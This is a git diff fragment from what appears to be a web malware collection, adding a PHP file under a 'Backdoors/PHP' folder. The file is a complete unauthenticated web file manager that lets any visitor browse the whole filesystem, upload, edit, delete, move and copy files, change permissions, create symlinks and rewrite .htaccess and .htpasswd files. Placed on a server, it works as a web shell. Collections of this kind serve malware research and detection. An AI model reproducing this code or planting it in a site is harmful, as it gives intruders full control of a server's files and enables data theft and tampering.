($file['is_readable']) echo('</a>'); + } + if (strlen(basename($file['readlink'])) != 0) { + if ($file['is_file'] && $file['is_readable']) echo("<a href=\"$self?show=" . urlencode($file['readlink']) . "$p\">"); + echo(htmlentities(basename($file['readlink']))); + if ($file['is_file'] && $file['is_readable']) echo('</a>'); + } + if ($file['is_file'] && is_script($file['readlink'])) echo(" <a href=\"$self?showh=" . urlencode($file['readlink']) . "$p\">*</a>"); + } + echo("</td>\n"); + } elseif ($file['is_dir']) { + echo(" <td bgcolor=\"#FFFFFF\" align=\"center\"><img src=\"$self?imageid=15\" width=\"17\" height=\"13\"></td>\n"); + echo(" <td$cspan bgcolor=\"#FFFFFF\">[ "); + if ($file['is_readable']) echo("<a href=\"$self?dir=" . urlencode($file['fullfilename']) . "$p\">"); + echo(htmlentities($file['filename'])); + if ($file['is_readable']) echo('</a>'); + echo(" ]</td>\n"); + } else { + echo(" <td bgcolor=\"#FFFFFF\" align=\"center\"><img src=\"$self?imageid="); + if (substr($file['filename'], 0, 1) == '.') echo('13'); else echo('12'); + echo("\" width=\"17\" height=\"13\"></td>\n"); + echo(' <td'); + if (substr($file['permission'], 0, 1) != '-') echo($cspan); + echo(' bgcolor="#FFFFFF">'); + if ($file['is_readable'] && $file['is_file']) echo("<a href=\"$self?show=" . urlencode($file['fullfilename']) . "$p\">"); + echo(htmlentities($file['filename'])); + if ($file['is_readable'] && $file['is_file']) echo('</a>'); + if ($file['is_file'] && is_script($file['filename'])) echo(" <a href=\"$self?showh=" . urlencode($file['fullfilename']) . "$p\">*</a>"); + echo("</td>\n"); + if ($GLOBALS['showsize'] && $file['is_file']) { + echo(" <td bgcolor=\"#FFFFFF\" align=\"right\" nowrap>"); + if ($file['is_file']) echo("{$file['size']} B"); + echo("</td>\n"); + } + } + echo(' <td bgcolor="#FFFFFF" class="perm">'); + if ($uid == $file['owner'] && !$file['is_link']) echo("<a href=\"$self?permission=" . urlencode($file['fullfilename']) . "$p\">"); + echo($file['permission']); + if ($uid == $file['owner'] && !$file['is_link']) echo('</a>'); + echo("</td>\n"); + $owner = ($file['ownername'] == NULL) ? $file['owner'] : $file['ownername']; + $group = ($file['groupname'] == NULL) ? $file['group'] : $file['groupname']; + echo(' <td bgcolor="#FFFFFF">' . $owner . "</td>\n"); + echo(' <td bgcolor="#FFFFFF">' . $group . "</td>\n"); + $f = "<a href=\"$self?symlinktarget=" . urlencode($dir . $file['filename']). "$p\">{$words['createsymlink']}</a> | ";; + if ($file['filename'] != '.' && $file['filename'] != '..') { + if ($file['is_readable'] && $file['is_file']) { + $f .= "<a href=\"$self?cpy=" . urlencode($file['fullfilename']). "$p\">{$words['copy']}</a> | "; + } + if ($uid == $file['owner']) { + $f .= "<a href=\"$self?move=" . urlencode($file['fullfilename']) . "$p\">{$words['move']}</a> | "; + $f .= "<a href=\"$self?delete=" . urlencode($dir . $file['filename']). "$p\">{$words['delete']}</a> | "; + } + if ($file['is_writable'] && $file['is_file']) { + $f .= "<a href=\"$self?edit=" . urlencode($file['fullfilename']) . "$p\">{$words['edit']}</a> | "; + } + } + if ($file['is_dir'] && @is_file($file['fullfilename'] . '.htaccess') && @is_writable($file['fullfilename'] . '.htaccess')) { + $f .= "<a href=\"$self?edit=" . urlencode($file['fullfilename']) . '.htaccess' . "$p\">{$words['configure']}</a> | "; + } + if (!empty($f)) $f = substr($f, 0, strlen($f) - 3); else $f = '&nbsp;'; + echo(" <td bgcolor=\"#FFFFFF\" nowrap>$f</td>\n"); + echo(" </tr>\n"); + } +?> + </table> + </td></tr></table> + </p> +<?php + return; +} + +function sortfiles ($files, $sort, $reverse) { + $files = sortfield($files, $sort, $reverse, 0, sizeof($files) - 1); + if ($sort != 'filename') { + $old = $files[0][$sort]; $oldpos = 0; + for ($i = 1; $i < sizeof($files); $i++) { + if ($old != $files[$i][$sort]) { + if ($oldpos != ($i - 1)) $files = sortfield($files, 'filename', false, $oldpos, $i - 1); + $oldpos = $i; + } + $old = $files[$i][$sort]; + } + if ($oldpos < ($i - 1)) $files = sortfield($files, 'filename', false, $oldpos, $i - 1); + } + return $files; +} + +function octtostr ($mode) { + if (($mode & 0xC000) === 0xC000) $type = 's'; /* Unix domain socket */ + elseif (($mode & 0x4000) === 0x4000) $type = 'd'; /* Directory */ + elseif (($mode & 0xA000) === 0xA000) $type = 'l'; /* Symbolic link */ + elseif (($mode & 0x8000) === 0x8000) $type = '-'; /* Regular file */ + elseif (($mode & 0x6000) === 0x6000) $type = 'b'; /* Block special file */ + elseif (($mode & 0x2000) === 0x2000) $type = 'c'; /* Character special file */ + elseif (($mode & 0x1000) === 0x1000) $type = 'p'; /* Named pipe */ + else $type = '?'; /* Unknown */ + $owner = ($mode & 00400) ? 'r' : '-'; + $owner .= ($mode & 00200) ? 'w' : '-'; + if ($mode & 0x800) $owner .= ($mode & 00100) ? 's' : 'S'; else $owner .= ($mode & 00100) ? 'x' : '-'; + $group = ($mode & 00040) ? 'r' : '-'; + $group .= ($mode & 00020) ? 'w' : '-'; + if ($mode & 0x400) $group .= ($mode & 00010) ? 's' : 'S'; else $group .= ($mode & 00010) ? 'x' : '-'; + $other = ($mode & 00004) ? 'r' : '-'; + $other .= ($mode & 00002) ? 'w' : '-'; + if ($mode & 0x200) $other .= ($mode & 00001) ? 't' : 'T'; else $other .= ($mode & 00001) ? 'x' : '-'; + return $type . $owner . $group . $other; +} + +function sortfield ($field, $column, $reverse, $left, $right){ + $g = $field[(int) (($left + $right) / 2)][$column]; + $l = $left; $r = $right; + while ($l <= $r) { + if ($reverse) { + while (($l < $right) && ($field[$l][$column] > $g)) $l++; + while (($r > $left) && ($field[$r][$column] < $g)) $r--; + } else { + while (($l < $right) && ($field[$l][$column] < $g)) $l++; + while (($r > $left) && ($field[$r][$column] > $g)) $r--; + } + if ($l < $r) { + $tmp = $field[$r]; + $field[$r] = $field[$l]; + $field[$l] = $tmp; + $r--; + $l++; + } else { + $l++; + } + } + if ($r > $left) $field = sortfield($field, $column, $reverse, $left, $r); + if ($r + 1 < $right) $field = sortfield($field, $column, $reverse, $r + 1, $right); + return $field; +} + +function buildphrase ($repl, $str) { + if (!is_array($repl)) $repl = array($repl); + $newstr = ''; $prevz = ' '; + for ($i = 0; $i < strlen($str); $i++) { + $z = substr($str, $i, 1); + if (((int) $z) > 0 && ((int) $z) <= count($repl) && $prevz == ' ') $newstr .= $repl[((int) $z) - 1]; else $newstr .= $z; + $prevz = $z; + } + return $newstr; +} + +function html_header ($action) { + global $self; + global $error, $notice, $updatetreeview; +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> +<html> +<head> + <title><?php echo("$self - $action"); ?></title> + <style type="text/css"> + <!-- + td { font-family: sans-serif; font-size: 10pt; } + a:link, a:visited, a:active { text-decoration: none; color: #000088; } + a:hover { text-decoration: underline; color: #000088; } + .perm { font-family: monospace; font-size: 10pt; } + --> + </style> +<?php + if (isset($_REQUEST['edit']) && !isset($_POST['save']) && basename($edit = $_REQUEST['edit']) == '.htaccess') { + $file = dirname($edit) . '/.htpasswd'; +?> + <script type="text/javascript" language="JavaScript"> + <!-- + function autheinf () { + document.f.content.value += "Authtype Basic\nAuthName \"Restricted Directory\"\n"; + document.f.content.value += "AuthUserFile <?php echo(htmlentities($file)); ?>\n"; + document.f.content.value += "Require valid-user"; + } + //--> + </script> +<?php + } +?> +</head> +<body bgcolor="#FFFFFF"<?php if ($updatetreeview && !empty($_SESSION['tree'])) echo(" '$self?frame=treeview&dir=" . urlencode($_SESSION['dir']) . '&' . SID . '&pmru=' . time() . '#' . urlencode($_SESSION['dir']) . "'))\""); ?>> +<?php + if (!empty($error)) perror($error); + if (!empty($notice)) pnotice($notice); + return; +} + +function html_footer ($backbutton = TRUE) { + global $self, $words; + if ($backbutton) { +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"><tr><td bgcolor="#EEEEEE"> + <a href="<?php echo("$self?id=". $_REQUEST['id']); ?>"><?php echo($words['back']); ?></a> + </td></tr></table> + </td></tr></table> + </p> +<?php + } +?> +</body> +</html> +<?php + return; +} + +function perror ($str) { +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"><tr><td bgcolor="#FFCCCC"> + <?php echo("$str\n"); ?> + </td></tr></table> + </td></tr></table> + </p> +<?php + return; +} + +function pnotice ($str) { +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"><tr><td bgcolor="#CCFFCC"> + <?php echo("$str\n"); ?> + </td></tr></table> + </td></tr></table> + </p> +<?php + return; +} + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/Private-i3lue.txt b/web-malware-collection-master/Backdoors/PHP/Private-i3lue.txt new file mode 100755 index 0000000..93abbae --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Private-i3lue.txt @@ -0,0 +1,1456 @@ +<?php +/* + * webadmin.php - a simple Web-based file manager + * Copyright (C) 2002 Daniel Wacker <mail@wacker-welt.de> + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + * +/* ------------------------------------------------------------------------- */ + +/* Select your language: + * 'en' - English + * 'de' - German + * 'cz' - Czech + * 'it' - Italian + */ +$language = 'en'; + +/* This directory is shown when you start webadmin.php. + * For example: './' would be the current directory. + */ +$homedir = './'; + +/* This sets the root directory of the treeview. + * Set it to '/' to see the whole filesystem. + */ +$treeroot = '/'; + +/* When you create a directory, its permission is set to this octal value. + * For example: 0705 would be 'drwx---r-x'. + */ +$dirpermission = 0705; + +/* Uncomment the following line to enable this feature (remove #): + * When you create a file, its permission is set to this octal value. + * For example: 0644 would be 'drwxr--r--'. + */ +# $newfilepermission = 0666; + +/* Uncomment the following line to enable this feature (remove #): + * When you upload a file, its permission is set to this octal value. + * For example: 0644 would be 'drwxr--r--'. + */ +# $uploadedfilepermission = 0666; + +/* The size of the file edit textarea + */ +$editrows = 20; +$editcols = 70; + +/* ------------------------------------------------------------------------- */ + +$self = htmlentities(basename($_SERVER['PHP_SELF'])); +$homedir = relpathtoabspath($homedir, getcwd()); +$treeroot = relpathtoabspath($treeroot, getcwd()); +$words = getwords($language); + +/* If PHP added any slashes, strip them */ +if (ini_get('magic_quotes_gpc')) { + array_walk($_GET, 'strip'); + array_walk($_POST, 'strip'); + array_walk($_REQUEST, 'strip'); +} + +/* Return Images */ +if (isset($_GET['imageid'])) { + header('Content-Type: image/gif'); + echo(getimage($_GET['imageid'])); + exit; +} + +/* Initialize session */ +ini_set('session.use_cookies', FALSE); +ini_set('session.use_trans_sid', FALSE); +session_name('id'); +session_start(); + +/* Initialize dirlisting output */ +$error = $notice = ''; +$updatetreeview = FALSE; + +/* Handle treeview requests */ +if (isset($_REQUEST['action'])) { + switch ($_REQUEST['action']) { + case 'treeon': + $_SESSION['tree'] = array(); + $_SESSION['hassubdirs'][$treeroot] = tree_hassubdirs($treeroot); + tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $treeroot); + frameset(); + exit; + case 'treeoff': + $_SESSION['tree'] = NULL; + $_SESSION['hassubdirs'] = NULL; + dirlisting(); + exit; + } +} + +/* Set current directory */ +if (!isset($_SESSION['dir'])) { + $_SESSION['dir'] = $homedir; + $updatetreeview = TRUE; +} +if (!empty($_REQUEST['dir'])) { + $newdir = relpathtoabspath($_REQUEST['dir'], $_SESSION['dir']); + /* If the requested directory is a file, show the file */ + if (@is_file($newdir) && @is_readable($newdir)) { + /* if (@is_writable($newdir)) { + $_REQUEST['edit'] = $newdir; + } else */ if (is_script($newdir)) { + $_GET['showh'] = $newdir; + } else { + $_GET['show'] = $newdir; + } + } elseif ($_SESSION['dir'] != $newdir) { + $_SESSION['dir'] = $newdir; + $updatetreeview = TRUE; + } +} + +/* Show a file */ +if (!empty($_GET['show'])) { + $show = relpathtoabspath($_GET['show'], $_SESSION['dir']); + if (!show($show)) { + $error= buildphrase('&quot;<b>' . htmlentities($show) . '</b>&quot;', $words['cantbeshown']); + } else { + exit; + } +} + +/* Show a file syntax highlighted */ +if (!empty($_GET['showh'])) { + $showh = relpathtoabspath($_GET['showh'], $_SESSION['dir']); + if (!show_highlight($showh)) { + $error = buildphrase('&quot;<b>' . htmlentities($showh) . '</b>&quot;', $words['cantbeshown']); + } else { + exit; + } +} + +/* Upload file */ +if (isset($_FILES['upload'])) { + $file = relpathtoabspath($_FILES['upload']['name'], $_SESSION['dir']); + if (@is_writable($_SESSION['dir']) && @move_uploaded_file($_FILES['upload']['tmp_name'], $file) && (!isset($uploadedfilepermission) || chmod($file, $uploadedfilepermission))) { + $notice = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['uploaded']); + } else { + $error = buildphrase(array('&quot;<b>' . htmlentities(basename($file)) . '</b>&quot;', '&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot;'), $words['notuploaded']); + } +} + +/* Create file */ +if (!empty($_GET['create']) && $_GET['type'] == 'file') { + $file = relpathtoabspath($_GET['create'], $_SESSION['dir']); + if (substr($file, strlen($file) - 1, 1) == '/') $file = substr($file, 0, strlen($file) - 1); + if (is_free($file) && touch($file) && ((!isset($newfilepermission)) || chmod($file, $newfilepermission))) { + $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']); + $_REQUEST['edit'] = $file; + } else { + $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']); + } +} + +/* Create directory */ +if (!empty($_GET['create']) && $_GET['type'] == 'dir') { + $file = relpathtoabspath($_GET['create'], $_SESSION['dir']); + if (is_free($file) && @mkdir($file, $dirpermission)) { + $notice = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['created']); + $updatetreeview = TRUE; + if (!empty($_SESSION['tree'])) { + $file = spath(dirname($file)); + $_SESSION['hassubdirs'][$file] = TRUE; + tree_plus($_SESSION['tree'], $_SESSION['hassubdirs'], $file); + } + } else { + $error = buildphrase('&quot;<b>' . htmlentities($file) . '</b>&quot;', $words['notcreated']); + } +} + +/* Ask symlink target */ +if (!empty($_GET['symlinktarget']) && empty($_GET['symlink'])) { + $symlinktarget = relpathtoabspath($_GET['symlinktarget'], $_SESSION['dir']); + html_header($words['createsymlink']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="symlinktarget" value="<?php echo(htmlentities($_GET['symlinktarget'])); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#EEEEEE"> + <table border="0"> + <tr> + <td valign="top"><?php echo($words['target']); ?>:&nbsp;</td> + <td> + <b><?php echo(htmlentities($_GET['symlinktarget'])); ?></b><br> + <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked> + <label for="checkbox_relative"><?php echo($words['reltarget']); ?></label> + </td> + </tr> + <tr> + <td><?php echo($words['symlink']); ?>:&nbsp;</td> + <td><input type="text" name="symlink" value="<?php echo(htmlentities(spath(dirname($symlinktarget)))); ?>" size="<?php $size = strlen($_GET['symlinktarget']) + 9; if ($size < 30) $size = 30; echo($size); ?>"></td> + </tr> + <tr> + <td>&nbsp;</td> + <td><input type="submit" value="<?php echo($words['create']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + html_footer(); + exit; +} + +/* Create symlink */ +if (!empty($_GET['symlink']) && !empty($_GET['symlinktarget'])) { + $symlink = relpathtoabspath($_GET['symlink'], $_SESSION['dir']); + $target = $_GET['symlinktarget']; + if (@is_dir($symlink)) $symlink = spath($symlink) . basename($target); + if ($symlink == $target) { + $error = buildphrase(array('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', '&quot;<b>' . htmlentities($target) . '</b>&quot;'), $words['samefiles']); + } else { + if (@$_GET['relative'] == 'yes') { + $target = abspathtorelpath(dirname($symlink), $target); + } else { + $target = $_GET['symlinktarget']; + } + if (is_free($symlink) && @symlink($target, $symlink)) { + $notice = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['created']); + } else { + $error = buildphrase('&quot;<b>' . htmlentities($symlink) . '</b>&quot;', $words['notcreated']); + } + } +} + +/* Delete file */ +if (!empty($_GET['delete'])) { + $delete = relpathtoabspath($_GET['delete'], $_SESSION['dir']); + if (@$_GET['sure'] == 'TRUE') { + if (remove($delete)) { + $notice = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['deleted']); + } else { + $error = buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['notdeleted']); + } + } else { + html_header($words['delete']); +?> + <p> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#FFFFFF"><?php echo(buildphrase('&quot;<b>' . htmlentities($delete) . '</b>&quot;', $words['suredelete'])); ?></td> + </tr> + <tr> + <td colspan="2" align="center" bgcolor="#EEEEEE"> + <a href="<?php echo("$self?" . SID . '&delete=' . urlencode($delete) . '&sure=TRUE'); ?>">[ <?php echo($words['yes']); ?> ]</a> + </td> + </tr> + </table> + </td></tr></table> + </p> +<?php + html_footer(); + exit; + } +} + +/* Change permission */ +if (!empty($_GET['permission'])) { + $permission = relpathtoabspath($_GET['permission'], $_SESSION['dir']); + if ($p = @fileperms($permission)) { + if (!empty($_GET['set'])) { + $p = 0; + if (isset($_GET['ur'])) $p |= 0400; if (isset($_GET['uw'])) $p |= 0200; if (isset($_GET['ux'])) $p |= 0100; + if (isset($_GET['gr'])) $p |= 0040; if (isset($_GET['gw'])) $p |= 0020; if (isset($_GET['gx'])) $p |= 0010; + if (isset($_GET['or'])) $p |= 0004; if (isset($_GET['ow'])) $p |= 0002; if (isset($_GET['ox'])) $p |= 0001; + if (@chmod($_GET['permission'], $p)) { + $notice = buildphrase(array('&quot<b>' . htmlentities($permission) . '</b>&quot;', '&quot;<b>' . substr(octtostr("0$p"), 1) . '</b>&quot; (<b>' . decoct($p) . '</b>)'), $words['permsset']); + } else { + $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']); + } + } else { + html_header($words['permission']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td bgcolor="#EEEEEE" colspan="2"> + <table> + <tr> + <td><?php echo($words['file']); ?>:</td> + <td><input type="text" name="permission" value="<?php echo(htmlentities($permission)); ?>" size="<?php echo(textfieldsize($permission)); ?>"></td> + <td><input type="submit" value="<?php echo($words['change']); ?>"></td> + </tr> + <tr> + <td valign="top"> + <?php echo($words['permission']); ?>:&nbsp; + </form><form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="permission" value="<?php echo(htmlentities($permission)); ?>"> + <input type="hidden" name="set" value="TRUE"> + </td> + <td colspan="2"> + <table border="0"> + <tr> + <td>&nbsp;</td> + <td><?php echo($words['owner']); ?></td> + <td><?php echo($words['group']); ?></td> + <td><?php echo($words['other']); ?></td> + </tr> + <tr> + <td><?php echo($words['read']); ?>:</td> + <td align="center"><input type="checkbox" name="ur" value="1"<?php if ($p & 00400) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="gr" value="1"<?php if ($p & 00040) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="or" value="1"<?php if ($p & 00004) echo(' checked'); ?>></td> + </tr> + <tr> + <td><?php echo($words['write']); ?>:</td> + <td align="center"><input type="checkbox" name="uw" value="1"<?php if ($p & 00200) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="gw" value="1"<?php if ($p & 00020) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="ow" value="1"<?php if ($p & 00002) echo(' checked'); ?>></td> + </tr> + <tr> + <td><?php echo($words['exec']); ?>:</td> + <td align="center"><input type="checkbox" name="ux" value="1"<?php if ($p & 00100) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="gx" value="1"<?php if ($p & 00010) echo(' checked'); ?>></td> + <td align="center"><input type="checkbox" name="ox" value="1"<?php if ($p & 00001) echo(' checked'); ?>></td> + </tr> + </table> + </td> + </tr> + <tr> + <td>&nbsp;</td> + <td colspan="2"><input type="submit" value="<?php echo($words['setperms']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + html_footer(); + exit; + } + } else { + $error = buildphrase('&quot;<b>' . htmlentities($permission) . '</b>&quot;', $words['permsnotset']); + } +} + +/* Move file */ +if (!empty($_GET['move'])) { + $move = relpathtoabspath($_GET['move'], $_SESSION['dir']); + if (!empty($_GET['destination'])) { + $destination = relpathtoabspath($_GET['destination'], dirname($move)); + if (@is_dir($destination)) $destination = spath($destination) . basename($move); + if ($move == $destination) { + $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']); + } else { + if (is_free($destination) && @rename($move, $destination)) { + $notice = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['moved']); + } else { + $error = buildphrase(array('&quot;<b>' . htmlentities($move) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notmoved']); + } + } + } else { + html_header($words['move']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="move" value="<?php echo(htmlentities($move)); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#EEEEEE"> + <table border="0"> + <tr> + <td><?php echo($words['file']); ?>:&nbsp;</td> + <td><b><?php echo(htmlentities($move)); ?></b></td> + </tr> + <tr> + <td><?php echo($words['moveto']); ?>:&nbsp;</td> + <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($move)))); ?>" size="<?php echo(textfieldsize($move)); ?>"></td> + </tr> + <tr> + <td>&nbsp;</td> + <td><input type="submit" value="<?php echo($words['move']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + html_footer(); + exit; + } +} + +/* Copy file */ +if (!empty($_GET['cpy'])) { + $copy = relpathtoabspath($_GET['cpy'], $_SESSION['dir']); + if (!empty($_GET['destination'])) { + $destination = relpathtoabspath($_GET['destination'], dirname($copy)); + if (@is_dir($destination)) $destination = spath($destination) . basename($copy); + if ($copy == $destination) { + $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['samefiles']); + } else { + if (is_free($destination) && @copy($copy, $destination)) { + $notice = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['copied']); + } else { + $error = buildphrase(array('&quot;<b>' . htmlentities($copy) . '</b>&quot;', '&quot;<b>' . htmlentities($destination) . '</b>&quot;'), $words['notcopied']); + } + } + } else { + html_header($words['copy']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="cpy" value="<?php echo(htmlentities($copy)); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td colspan="2" bgcolor="#EEEEEE"> + <table border="0"> + <tr> + <td><?php echo($words['file']); ?>:&nbsp;</td> + <td><b><?php echo(htmlentities($copy)); ?></b></td> + </tr> + <tr> + <td><?php echo($words['copyto']); ?>:&nbsp;</td> + <td><input type="text" name="destination" value="<?php echo(htmlentities(spath(dirname($copy)))); ?>" size="<?php echo(textfieldsize($copy)); ?>"></td> + </tr> + <tr> + <td>&nbsp;</td> + <td><input type="submit" value="<?php echo($words['copy']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> +<?php + html_footer(); + exit; + } +} + +/* Save edited file */ +if (!empty($_POST['edit']) && isset($_POST['save'])) { + $edit = relpathtoabspath($_POST['edit'], $_SESSION['dir']); + if ($f = @fopen($edit, 'w')) { + /* write file without carriage returns */ + fwrite($f, str_replace("\r\n", "\n", $_POST['content'])); + fclose($f); + $notice = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['saved']); + } else { + $error = buildphrase('&quot;<b>' . htmlentities($edit) . '</b>&quot;', $words['notsaved']); + } +} + +/* Edit file */ +if (isset($_REQUEST['edit']) && !isset($_POST['save'])) { + $file = relpathtoabspath($_REQUEST['edit'], $_SESSION['dir']); + if (@is_dir($file)) { + /* If the requested file is a directory, show the directory */ + $_SESSION['dir'] = $file; + $updatetreeview = TRUE; + } else { + if ($f = @fopen($file, 'r')) { + html_header($words['edit']); +?> + <form action="<?php echo($self); ?>" method="get"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td> + <td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td> + </tr> + <tr> + <td bgcolor="#EEEEEE" colspan="2"> + <table border="0" cellspacing="0" cellpadding="0"> + <tr> + <td><?php echo($words['file']); ?>:&nbsp;</td> + <td><input type="text" name="edit" value="<?php echo(htmlentities($file)); ?>" size="<?php echo(textfieldsize($file)); ?>">&nbsp;</td> + <td><input type="submit" value="<?php echo($words['change']); ?>"></td> + </tr> + </table> + </td> + </tr> + </table> + </td></tr></table> + </form> + <form action="<?php echo($self); ?>" method="post" name="f"> + <input type="hidden" name="id" value="<?php echo(session_id()); ?>"> + <input type="hidden" name="edit" value="<?php echo(htmlentities($file)); ?>"> + <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888"> + <table border="0" cellspacing="1" cellpadding="4"> + <tr> + <td bgcolor="#EEEEFF" align="center"><textarea name="content" rows="<?php echo($editrows); ?>" cols="<?php echo($editcols); ?>" wrap="off" style="background: #EEEEFF; border: none;"><?php + if (isset($_POST['content'])) { + echo(htmlentities($_POST['content'])); + if (isset($_POST['add']) && !empty($_POST['username']) && !empty($_POST['password'])) { + echo("\n" . htmlentities($_POST['username'] . ':' . crypt($_POST['password']))); + } + } else { + echo(htmlentities(fread($f, filesize($file)))); + } + fclose($f); +?></textarea></td> + </tr> +<?php if (basename($file) == '.htpasswd') { /* specials with .htpasswd */ ?> + <tr> + <td bgcolor="#EEEEEE" align="center"> + <table border="0"> + <tr> + <td><?php echo($words['username']); ?>:&nbsp;</td> + <td><input type="text" name="username" size="15">&nbsp;</td> + <td><?php echo($words['password']); ?>:&nbsp;</td> + <td><input type="password" name="password" size="15">&nbsp;</td> + <td><input type="submit" name="add" value="<?php echo($words['add']); ?>"></td> + </tr> + </table> + </td> + </tr> +<?php } if (basename($file) == '.htaccess') { /* specials with .htaccess */ ?> + <tr> + <td bgcolor="#EEEEEE" align="center"><input type="button" value="<?php echo($words['addauth']); ?>" + </tr> +<?php } ?> + <tr> + <td bgcolor="#EEEEEE" align="center"> + <input type="button" value="<?php echo($words['reset']); ?>" + <input type="button" value="<?php echo($words['clear']); ?>" '')"> + <input type="submit" name="save" value="<?php echo($words['save']); ?>"> + </td> + </tr> + </table> + </td></tr></table> + </form> 